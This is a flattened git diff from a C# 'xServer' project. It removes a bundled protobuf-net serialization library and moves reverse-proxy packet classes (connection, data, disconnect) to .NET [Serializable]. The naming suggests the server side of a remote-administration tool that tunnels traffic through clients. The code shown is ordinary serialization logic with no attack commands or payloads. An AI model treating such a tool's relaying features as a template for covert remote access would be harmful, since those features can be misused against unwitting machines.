Compiler.Local(ctx, ctx.MapType(typeof(int)))) - { - // pre-callbacks - if (HasCallbacks(TypeModel.CallbackType.BeforeDeserialize)) - { - if(ExpectedType.IsValueType) - { - EmitCallbackIfNeeded(ctx, loc, TypeModel.CallbackType.BeforeDeserialize); - } - else - { // could be null - Compiler.CodeLabel callbacksDone = ctx.DefineLabel(); - ctx.LoadValue(loc); - ctx.BranchIfFalse(callbacksDone, false); - EmitCallbackIfNeeded(ctx, loc, TypeModel.CallbackType.BeforeDeserialize); - ctx.MarkLabel(callbacksDone); - } - } - - Compiler.CodeLabel @continue = ctx.DefineLabel(), processField = ctx.DefineLabel(); - ctx.Branch(@continue, false); - - ctx.MarkLabel(processField); - foreach (BasicList.Group group in BasicList.GetContiguousGroups(fieldNumbers, serializers)) - { - Compiler.CodeLabel tryNextField = ctx.DefineLabel(); - int groupItemCount = group.Items.Count; - if (groupItemCount == 1) - { - // discreet group; use an equality test - ctx.LoadValue(fieldNumber); - ctx.LoadValue(group.First); - Compiler.CodeLabel processThisField = ctx.DefineLabel(); - ctx.BranchIfEqual(processThisField, true); - ctx.Branch(tryNextField, false); - WriteFieldHandler(ctx, expected, loc, processThisField, @continue, (IProtoSerializer)group.Items[0]); - } - else - { // implement as a jump-table-based switch - ctx.LoadValue(fieldNumber); - ctx.LoadValue(group.First); - ctx.Subtract(); // jump-tables are zero-based - Compiler.CodeLabel[] jmp = new Compiler.CodeLabel[groupItemCount]; - for (int i = 0; i < groupItemCount; i++) { - jmp[i] = ctx.DefineLabel(); - } - ctx.Switch(jmp); - // write the default... - ctx.Branch(tryNextField, false); - for (int i = 0; i < groupItemCount; i++) - { - WriteFieldHandler(ctx, expected, loc, jmp[i], @continue, (IProtoSerializer)group.Items[i]); - } - } - ctx.MarkLabel(tryNextField); - } - - EmitCreateIfNull(ctx, loc); - ctx.LoadReaderWriter(); - if (isExtensible) - { - ctx.LoadValue(loc); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("AppendExtensionData")); - } - else - { - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("SkipField")); - } - - ctx.MarkLabel(@continue); - ctx.EmitBasicRead("ReadFieldHeader", ctx.MapType(typeof(int))); - ctx.CopyValue(); - ctx.StoreValue(fieldNumber); - ctx.LoadValue(0); - ctx.BranchIfGreater(processField, false); - - EmitCreateIfNull(ctx, loc); - // post-callbacks - EmitCallbackIfNeeded(ctx, loc, TypeModel.CallbackType.AfterDeserialize); - - if (valueFrom != null && !loc.IsSame(valueFrom)) - { - ctx.LoadValue(loc); - ctx.Cast(valueFrom.Type); - ctx.StoreValue(valueFrom); - } - } - } - - private void WriteFieldHandler( - Compiler.CompilerContext ctx, Type expected, Compiler.Local loc, - Compiler.CodeLabel handler, Compiler.CodeLabel @continue, IProtoSerializer serializer) - { - ctx.MarkLabel(handler); - Type serType = serializer.ExpectedType; - if (serType == forType) { - EmitCreateIfNull(ctx, loc); - serializer.EmitRead(ctx, loc); - } - else { - //RuntimeTypeModel rtm = (RuntimeTypeModel)ctx.Model; - if (((IProtoTypeSerializer)serializer).CanCreateInstance()) - { - Compiler.CodeLabel allDone = ctx.DefineLabel(); - - ctx.LoadValue(loc); - ctx.BranchIfFalse(allDone, false); // null is always ok - - ctx.LoadValue(loc); - ctx.TryCast(serType); - ctx.BranchIfTrue(allDone, false); // not null, but of the correct type - - // otherwise, need to convert it - ctx.LoadReaderWriter(); - ctx.LoadValue(loc); - ((IProtoTypeSerializer)serializer).EmitCreateInstance(ctx); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("Merge")); - ctx.Cast(expected); - ctx.StoreValue(loc); // Merge always returns a value - - // nothing needs doing - ctx.MarkLabel(allDone); - } - ctx.LoadValue(loc); - ctx.Cast(serType); - serializer.EmitRead(ctx, null); - - } - - if (serializer.ReturnsValue) - { // update the variable - ctx.StoreValue(loc); - } - ctx.Branch(@continue, false); // "continue" - } - - void IProtoTypeSerializer.EmitCreateInstance(Compiler.CompilerContext ctx) - { - // different ways of creating a new instance - bool callNoteObject = true; - if (factory != null) - { - EmitInvokeCallback(ctx, factory, false, constructType, forType); - } - else if (!useConstructor) - { // DataContractSerializer style - ctx.LoadValue(constructType); - ctx.EmitCall(ctx.MapType(typeof(BclHelpers)).GetMethod("GetUninitializedObject")); - ctx.Cast(forType); - } - else if (constructType.IsClass && hasConstructor) - { // XmlSerializer style - ctx.EmitCtor(constructType); - } - else - { - ctx.LoadValue(ExpectedType); - ctx.EmitCall(ctx.MapType(typeof(TypeModel)).GetMethod("ThrowCannotCreateInstance", - BindingFlags.Static | BindingFlags.Public)); - ctx.LoadNullRef(); - callNoteObject = false; - } - if (callNoteObject) - { - // track root object creation - ctx.CopyValue(); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("NoteObject", - BindingFlags.Static | BindingFlags.Public)); - } - if (baseCtorCallbacks != null) - { - for (int i = 0; i < baseCtorCallbacks.Length; i++) - { - EmitInvokeCallback(ctx, baseCtorCallbacks[i], true, null, forType); - } - } - } - private void EmitCreateIfNull(Compiler.CompilerContext ctx, Compiler.Local storage) - { - Helpers.DebugAssert(storage != null); - if (!ExpectedType.IsValueType) - { - Compiler.CodeLabel afterNullCheck = ctx.DefineLabel(); - ctx.LoadValue(storage); - ctx.BranchIfTrue(afterNullCheck, false); - - ((IProtoTypeSerializer)this).EmitCreateInstance(ctx); - - if (callbacks != null) EmitInvokeCallback(ctx, callbacks.BeforeDeserialize, true, null, forType); - ctx.StoreValue(storage); - ctx.MarkLabel(afterNullCheck); - } - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/UInt16Serializer.cs b/Server/Core/ProtoBuf/Serializers/UInt16Serializer.cs deleted file mode 100644 index cf4ccfbf..00000000 --- a/Server/Core/ProtoBuf/Serializers/UInt16Serializer.cs +++ /dev/null @@ -1,68 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal class UInt16Serializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (ushort); -#endif - - public UInt16Serializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(ushort)); -#endif - } - - public virtual Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public virtual object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadUInt16(); - } - - public virtual void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteUInt16((ushort) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteUInt16", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadUInt16", ctx.MapType(typeof(ushort))); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/UInt32Serializer.cs b/Server/Core/ProtoBuf/Serializers/UInt32Serializer.cs deleted file mode 100644 index f3af9961..00000000 --- a/Server/Core/ProtoBuf/Serializers/UInt32Serializer.cs +++ /dev/null @@ -1,68 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class UInt32Serializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (uint); -#endif - - public UInt32Serializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(uint)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadUInt32(); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteUInt32((uint) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteUInt32", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadUInt32", ctx.MapType(typeof(uint))); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/UInt64Serializer.cs b/Server/Core/ProtoBuf/Serializers/UInt64Serializer.cs deleted file mode 100644 index f90d6f67..00000000 --- a/Server/Core/ProtoBuf/Serializers/UInt64Serializer.cs +++ /dev/null @@ -1,69 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class UInt64Serializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (ulong); -#endif - - public UInt64Serializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(ulong)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadUInt64(); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteUInt64((ulong) value, dest); - } -#endif - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteUInt64", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadUInt64", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/UriDecorator.cs b/Server/Core/ProtoBuf/Serializers/UriDecorator.cs deleted file mode 100644 index ab583c84..00000000 --- a/Server/Core/ProtoBuf/Serializers/UriDecorator.cs +++ /dev/null @@ -1,84 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class UriDecorator : ProtoDecoratorBase - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (Uri); -#endif - - public UriDecorator(ProtoBuf.Meta.TypeModel model, IProtoSerializer tail) : base(tail) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(Uri)); -#endif - } - - public override Type ExpectedType - { - get { return expectedType; } - } - - public override bool RequiresOldValue - { - get { return false; } - } - - public override bool ReturnsValue - { - get { return true; } - } - - -#if !FEAT_IKVM - public override void Write(object value, ProtoWriter dest) - { - Tail.Write(((Uri) value).AbsoluteUri, dest); - } - - public override object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // not expecting incoming - string s = (string) Tail.Read(null, source); - return s.Length == 0 ? null : new Uri(s); - } -#endif - -#if FEAT_COMPILER - protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.LoadValue(valueFrom); - ctx.LoadValue(typeof(Uri).GetProperty("AbsoluteUri")); - Tail.EmitWrite(ctx, null); - } - protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - Tail.EmitRead(ctx, valueFrom); - ctx.CopyValue(); - Compiler.CodeLabel @nonEmpty = ctx.DefineLabel(), @end = ctx.DefineLabel(); - ctx.LoadValue(typeof(string).GetProperty("Length")); - ctx.BranchIfTrue(@nonEmpty, true); - ctx.DiscardValue(); - ctx.LoadNullRef(); - ctx.Branch(@end, true); - ctx.MarkLabel(@nonEmpty); - ctx.EmitCtor(ctx.MapType(typeof(Uri)), ctx.MapType(typeof(string))); - ctx.MarkLabel(@end); - - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/ServiceModel/ProtoBehaviorAttribute.cs b/Server/Core/ProtoBuf/ServiceModel/ProtoBehaviorAttribute.cs deleted file mode 100644 index 45114b51..00000000 --- a/Server/Core/ProtoBuf/ServiceModel/ProtoBehaviorAttribute.cs +++ /dev/null @@ -1,35 +0,0 @@ - -#if FEAT_SERVICEMODEL && PLAT_XMLSERIALIZER -using System; -using System.ServiceModel.Description; -using System.ServiceModel.Dispatcher; - -namespace ProtoBuf.ServiceModel -{ - /// - /// Uses protocol buffer serialization on the specified operation; note that this - /// must be enabled on both the client and server. - /// - [AttributeUsage(AttributeTargets.Method, AllowMultiple = false)] - public sealed class ProtoBehaviorAttribute : Attribute, IOperationBehavior - { - void IOperationBehavior.AddBindingParameters(OperationDescription operationDescription, System.ServiceModel.Channels.BindingParameterCollection bindingParameters) - { } - - void IOperationBehavior.ApplyClientBehavior(OperationDescription operationDescription, ClientOperation clientOperation) - { - IOperationBehavior innerBehavior = new ProtoOperationBehavior(operationDescription); - innerBehavior.ApplyClientBehavior(operationDescription, clientOperation); - } - - void IOperationBehavior.ApplyDispatchBehavior(OperationDescription operationDescription, DispatchOperation dispatchOperation) - { - IOperationBehavior innerBehavior = new ProtoOperationBehavior(operationDescription); - innerBehavior.ApplyDispatchBehavior(operationDescription, dispatchOperation); - } - - void IOperationBehavior.Validate(OperationDescription operationDescription) - { } - } -} -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/ServiceModel/ProtoBehaviorExtensionElement.cs b/Server/Core/ProtoBuf/ServiceModel/ProtoBehaviorExtensionElement.cs deleted file mode 100644 index cd3cd9b1..00000000 --- a/Server/Core/ProtoBuf/ServiceModel/ProtoBehaviorExtensionElement.cs +++ /dev/null @@ -1,42 +0,0 @@ - -#if FEAT_SERVICEMODEL && PLAT_XMLSERIALIZER -using System; -using System.ServiceModel.Configuration; - -namespace ProtoBuf.ServiceModel -{ - /// - /// Configuration element to swap out DatatContractSerilaizer with the XmlProtoSerializer for a given endpoint. - /// - /// - public class ProtoBehaviorExtension : BehaviorExtensionElement - { - /// - /// Creates a new ProtoBehaviorExtension instance. - /// - public ProtoBehaviorExtension() - { - } - - /// - /// Gets the type of behavior. - /// - public override Type BehaviorType - { - get - { - return typeof(ProtoEndpointBehavior); - } - } - - /// - /// Creates a behavior extension based on the current configuration settings. - /// - /// The behavior extension. - protected override object CreateBehavior() - { - return new ProtoEndpointBehavior(); - } - } -} -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/ServiceModel/ProtoEndpointBehavior.cs b/Server/Core/ProtoBuf/ServiceModel/ProtoEndpointBehavior.cs deleted file mode 100644 index ec269f3e..00000000 --- a/Server/Core/ProtoBuf/ServiceModel/ProtoEndpointBehavior.cs +++ /dev/null @@ -1,86 +0,0 @@ - -#if FEAT_SERVICEMODEL && PLAT_XMLSERIALIZER -using System.ServiceModel.Description; - -namespace ProtoBuf.ServiceModel -{ - /// - /// Behavior to swap out DatatContractSerilaizer with the XmlProtoSerializer for a given endpoint. - /// - /// Add the following to the server and client app.config in the system.serviceModel section: - /// - /// - /// - /// - /// - /// - /// - /// - /// - /// - /// - /// - /// - /// Configure your endpoints to have a behaviorConfiguration as follows: - /// - /// - /// - /// - /// - /// - /// - /// - /// - public class ProtoEndpointBehavior : IEndpointBehavior - { -#region IEndpointBehavior Members - - void IEndpointBehavior.AddBindingParameters(ServiceEndpoint endpoint, System.ServiceModel.Channels.BindingParameterCollection bindingParameters) - { - } - - void IEndpointBehavior.ApplyClientBehavior(ServiceEndpoint endpoint, System.ServiceModel.Dispatcher.ClientRuntime clientRuntime) - { - ReplaceDataContractSerializerOperationBehavior(endpoint); - } - - void IEndpointBehavior.ApplyDispatchBehavior(ServiceEndpoint endpoint, System.ServiceModel.Dispatcher.EndpointDispatcher endpointDispatcher) - { - ReplaceDataContractSerializerOperationBehavior(endpoint); - } - - void IEndpointBehavior.Validate(ServiceEndpoint endpoint) - { - } - - private static void ReplaceDataContractSerializerOperationBehavior(ServiceEndpoint serviceEndpoint) - { - foreach (OperationDescription operationDescription in serviceEndpoint.Contract.Operations) - { - ReplaceDataContractSerializerOperationBehavior(operationDescription); - } - } - - - private static void ReplaceDataContractSerializerOperationBehavior(OperationDescription description) - { - DataContractSerializerOperationBehavior dcsOperationBehavior = description.Behaviors.Find(); - if (dcsOperationBehavior != null) - { - description.Behaviors.Remove(dcsOperationBehavior); - - ProtoOperationBehavior newBehavior = new ProtoOperationBehavior(description); - newBehavior.MaxItemsInObjectGraph = dcsOperationBehavior.MaxItemsInObjectGraph; - description.Behaviors.Add(newBehavior); - } - } - - - #endregion - } - -} -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/ServiceModel/ProtoOperationBehavior.cs b/Server/Core/ProtoBuf/ServiceModel/ProtoOperationBehavior.cs deleted file mode 100644 index 4306f3b2..00000000 --- a/Server/Core/ProtoBuf/ServiceModel/ProtoOperationBehavior.cs +++ /dev/null @@ -1,51 +0,0 @@ - -#if FEAT_SERVICEMODEL && PLAT_XMLSERIALIZER && !NO_GENERICS -using System; -using System.Collections.Generic; -using System.Runtime.Serialization; -using System.ServiceModel.Description; -using System.Xml; -using ProtoBuf.Meta; - -namespace ProtoBuf.ServiceModel -{ - /// - /// Describes a WCF operation behaviour that can perform protobuf serialization - /// - public sealed class ProtoOperationBehavior : DataContractSerializerOperationBehavior - { - private TypeModel model; - /// - /// The type-model that should be used with this behaviour - /// - public TypeModel Model - { - get { return model; } - set { - if (value == null) throw new ArgumentNullException("Model"); - model = value; - } - - } - /// - /// Create a new ProtoOperationBehavior instance - /// - public ProtoOperationBehavior(OperationDescription operation) : base(operation) - { -#if !NO_RUNTIME - model = RuntimeTypeModel.Default; -#endif - } - //public ProtoOperationBehavior(OperationDescription operation, DataContractFormatAttribute dataContractFormat) : base(operation, dataContractFormat) { } - - /// - /// Creates a protobuf serializer if possible (falling back to the default WCF serializer) - /// - public override XmlObjectSerializer CreateSerializer(Type type, System.Xml.XmlDictionaryString name, System.Xml.XmlDictionaryString ns, IList knownTypes) - { - if (model == null) throw new InvalidOperationException("No Model instance has been assigned to the ProtoOperationBehavior"); - return XmlProtoSerializer.TryCreate(model, type) ?? base.CreateSerializer(type, name, ns, knownTypes); - } - } -} -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/ServiceModel/XmlProtoSerializer.cs b/Server/Core/ProtoBuf/ServiceModel/XmlProtoSerializer.cs deleted file mode 100644 index f4b4e9e6..00000000 --- a/Server/Core/ProtoBuf/ServiceModel/XmlProtoSerializer.cs +++ /dev/null @@ -1,207 +0,0 @@ - -#if (FEAT_SERVICEMODEL && PLAT_XMLSERIALIZER) || (SILVERLIGHT && !PHONE7) -using System.IO; -using System.Runtime.Serialization; -using System.Xml; -using ProtoBuf.Meta; -using System; - -namespace ProtoBuf.ServiceModel -{ - /// - /// An xml object serializer that can embed protobuf data in a base-64 hunk (looking like a byte[]) - /// - public sealed class XmlProtoSerializer : XmlObjectSerializer - { - private readonly TypeModel model; - private readonly int key; - private readonly bool isList, isEnum; - private readonly Type type; - internal XmlProtoSerializer(TypeModel model, int key, Type type, bool isList) - { - if (model == null) throw new ArgumentNullException("model"); - if (key < 0) throw new ArgumentOutOfRangeException("key"); - if (type == null) throw new ArgumentOutOfRangeException("type"); - this.model = model; - this.key = key; - this.isList = isList; - this.type = type; - this.isEnum = Helpers.IsEnum(type); - } - /// - /// Attempt to create a new serializer for the given model and type - /// - /// A new serializer instance if the type is recognised by the model; null otherwise - public static XmlProtoSerializer TryCreate(TypeModel model, Type type) - { - if (model == null) throw new ArgumentNullException("model"); - if (type == null) throw new ArgumentNullException("type"); - - bool isList; - int key = GetKey(model, ref type, out isList); - if (key >= 0) - { - return new XmlProtoSerializer(model, key, type, isList); - } - return null; - } - /// - /// Creates a new serializer for the given model and type - /// - public XmlProtoSerializer(TypeModel model, Type type) - { - if (model == null) throw new ArgumentNullException("model"); - if (type == null) throw new ArgumentNullException("type"); - - key = GetKey(model, ref type, out isList); - this.model = model; - this.type = type; - this.isEnum = Helpers.IsEnum(type); - if (key < 0) throw new ArgumentOutOfRangeException("type", "Type not recognised by the model: " + type.FullName); - } - static int GetKey(TypeModel model, ref Type type, out bool isList) - { - if (model != null && type != null) - { - int key = model.GetKey(ref type); - if (key >= 0) - { - isList = false; - return key; - } - Type itemType = TypeModel.GetListItemType(model, type); - if (itemType != null) - { - key = model.GetKey(ref itemType); - if (key >= 0) - { - isList = true; - return key; - } - } - } - - isList = false; - return -1; - - } - /// - /// Ends an object in the output - /// - public override void WriteEndObject(System.Xml.XmlDictionaryWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - writer.WriteEndElement(); - } - /// - /// Begins an object in the output - /// - public override void WriteStartObject(System.Xml.XmlDictionaryWriter writer, object graph) - { - if (writer == null) throw new ArgumentNullException("writer"); - writer.WriteStartElement(PROTO_ELEMENT); - } - private const string PROTO_ELEMENT = "proto"; - /// - /// Writes the body of an object in the output - /// - public override void WriteObjectContent(System.Xml.XmlDictionaryWriter writer, object graph) - { - if (writer == null) throw new ArgumentNullException("writer"); - if (graph == null) - { - writer.WriteAttributeString("nil", "true"); - } - else - { - using (MemoryStream ms = new MemoryStream()) - { - if (isList) - { - model.Serialize(ms, graph, null); - } - else - { - using (ProtoWriter protoWriter = new ProtoWriter(ms, model, null)) - { - model.Serialize(key, graph, protoWriter); - } - } - byte[] buffer = ms.GetBuffer(); - writer.WriteBase64(buffer, 0, (int)ms.Length); - } - } - } - - /// - /// Indicates whether this is the start of an object we are prepared to handle - /// - public override bool IsStartObject(System.Xml.XmlDictionaryReader reader) - { - if (reader == null) throw new ArgumentNullException("reader"); - reader.MoveToContent(); - return reader.NodeType == System.Xml.XmlNodeType.Element && reader.Name == PROTO_ELEMENT; - } - - /// - /// Reads the body of an object - /// - public override object ReadObject(System.Xml.XmlDictionaryReader reader, bool verifyObjectName) - { - if (reader == null) throw new ArgumentNullException("reader"); - reader.MoveToContent(); - bool isSelfClosed = reader.IsEmptyElement, isNil = reader.GetAttribute("nil") == "true"; - reader.ReadStartElement(PROTO_ELEMENT); - - // explicitly null - if (isNil) - { - if(!isSelfClosed) reader.ReadEndElement(); - return null; - } - if(isSelfClosed) // no real content - { - if (isList || isEnum) - { - return model.Deserialize(Stream.Null, null, type, null); - } - ProtoReader protoReader = null; - try - { - protoReader = ProtoReader.Create(Stream.Null, model, null, ProtoReader.TO_EOF); - return model.Deserialize(key, null, protoReader); - } - finally - { - ProtoReader.Recycle(protoReader); - } - } - - object result; - Helpers.DebugAssert(reader.CanReadBinaryContent, "CanReadBinaryContent"); - using (MemoryStream ms = new MemoryStream(reader.ReadContentAsBase64())) - { - if (isList || isEnum) - { - result = model.Deserialize(ms, null, type, null); - } - else - { - ProtoReader protoReader = null; - try - { - protoReader = ProtoReader.Create(ms, model, null, ProtoReader.TO_EOF); - result = model.Deserialize(key, null, protoReader); - } - finally - { - ProtoReader.Recycle(protoReader); - } - } - } - reader.ReadEndElement(); - return result; - } - } -} -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/SubItemToken.cs b/Server/Core/ProtoBuf/SubItemToken.cs deleted file mode 100644 index ca44230b..00000000 --- a/Server/Core/ProtoBuf/SubItemToken.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace ProtoBuf -{ - /// - /// Used to hold particulars relating to nested objects. This is opaque to the caller - simply - /// give back the token you are given at the end of an object. - /// - public struct SubItemToken - { - internal readonly int value; - - internal SubItemToken(int value) - { - this.value = value; - } - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/WireType.cs b/Server/Core/ProtoBuf/WireType.cs deleted file mode 100644 index 719c8a8f..00000000 --- a/Server/Core/ProtoBuf/WireType.cs +++ /dev/null @@ -1,50 +0,0 @@ -namespace ProtoBuf -{ - /// - /// Indicates the encoding used to represent an individual value in a protobuf stream - /// - public enum WireType - { - /// - /// Represents an error condition - /// - None = -1, - - /// - /// Base-128 variant-length encoding - /// - Variant = 0, - - /// - /// Fixed-length 8-byte encoding - /// - Fixed64 = 1, - - /// - /// Length-variant-prefixed encoding - /// - String = 2, - - /// - /// Indicates the start of a group - /// - StartGroup = 3, - - /// - /// Indicates the end of a group - /// - EndGroup = 4, - - /// - /// Fixed-length 4-byte encoding - /// 10 - Fixed32 = 5, - - /// - /// This is not a formal wire-type in the "protocol buffers" spec, but - /// denotes a variant integer that should be interpreted using - /// zig-zag semantics (so -ve numbers aren't a significant overhead) - /// - SignedVariant = WireType.Variant | (1 << 3), - } -} \ No newline at end of file diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyConnect.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyConnect.cs index 4b7c2d52..359ba460 100644 --- a/Server/Core/ReverseProxy/Packets/ReverseProxyConnect.cs +++ b/Server/Core/ReverseProxy/Packets/ReverseProxyConnect.cs @@ -1,19 +1,16 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; using xServer.Core.Packets; namespace xServer.Core.ReverseProxy.Packets { - [ProtoContract] + [Serializable] public class ReverseProxyConnect : IPacket { - [ProtoMember(1)] public int ConnectionId { get; set; } - [ProtoMember(2)] public string Target { get; set; } - [ProtoMember(3)] public int Port { get; set; } public ReverseProxyConnect() diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs index ba51af04..941741fe 100644 --- a/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs +++ b/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs @@ -1,25 +1,20 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; using xServer.Core.Packets; namespace xServer.Core.ReverseProxy.Packets { - [ProtoContract] + [Serializable] public class ReverseProxyConnectResponse : IPacket { - [ProtoMember(1)] public int ConnectionId { get; set; } - [ProtoMember(2)] public bool IsConnected { get; set; } - [ProtoMember(3)] public long LocalEndPoint { get; set; } - [ProtoMember(4)] public int LocalPort { get; set; } - [ProtoMember(5)] public string HostName { get; set; } public ReverseProxyConnectResponse() diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyData.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyData.cs index f9b63685..73eee736 100644 --- a/Server/Core/ReverseProxy/Packets/ReverseProxyData.cs +++ b/Server/Core/ReverseProxy/Packets/ReverseProxyData.cs @@ -1,16 +1,14 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; using xServer.Core.Packets; namespace xServer.Core.ReverseProxy.Packets { - [ProtoContract] + [Serializable] public class ReverseProxyData : IPacket { - [ProtoMember(1)] public int ConnectionId { get; set; } - [ProtoMember(2)] public byte[] Data { get; set; } public ReverseProxyData() diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs index a2df811c..9b22bb39 100644 --- a/Server/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs +++ b/Server/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs @@ -1,13 +1,12 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; using xServer.Core.Packets; namespace xServer.Core.ReverseProxy.Packets { - [ProtoContract] + [Serializable] public class ReverseProxyDisconnect : IPacket { - [ProtoMember(1)] public int ConnectionId { get; set; } public ReverseProxyDisconnect(int connectionId) diff --git a/Server/Server.csproj b/Server/Server.csproj index 47208b5e..d4b8731b 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -121,6 +121,17 @@ + + + + + + + + + + + @@ -197,91 +208,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -